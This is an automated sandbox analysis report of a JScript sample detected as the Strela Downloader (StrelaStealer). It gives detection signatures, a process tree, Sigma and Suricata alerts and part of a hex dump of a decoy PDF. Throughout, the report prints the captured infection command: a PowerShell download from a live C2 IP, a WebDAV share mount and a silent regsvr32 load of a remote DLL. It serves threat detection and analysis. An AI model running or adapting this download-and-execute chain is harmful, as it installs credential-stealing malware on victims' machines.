Edit tour

Windows Analysis Report
733422181158883785.js

Overview

General Information

Sample name:	733422181158883785.js
Analysis ID:	1589077
MD5:	46a899913732cb6f3fd47cceeaaaf296
SHA1:	797c17d6f010492ea37ca16213dc92e10980cdbc
SHA256:	9cb61e428e962eecc8667de859667e7e38efd26c541cb4d03cbe65768f2f387a
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7456 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7552 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7604 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7780 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 744 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1592 --field-trial-handle=1528,i,17144818805951839811,10729474608468333498,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7796 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7812 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 8088 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7456	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", ProcessId: 7456, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7812, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, ProcessId: 7552, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", ProcessId: 7456, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7604, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7796, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7812, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8088, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7796, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7812, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll, ProcessId: 7552, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:14:15.145821+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.9	49707	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:14:18.365681+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49708	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T09:14:15.145821+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49707	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 733422181158883785.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 733422181158883785.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 733422181158883785.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.9:49707 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49708 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:14:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 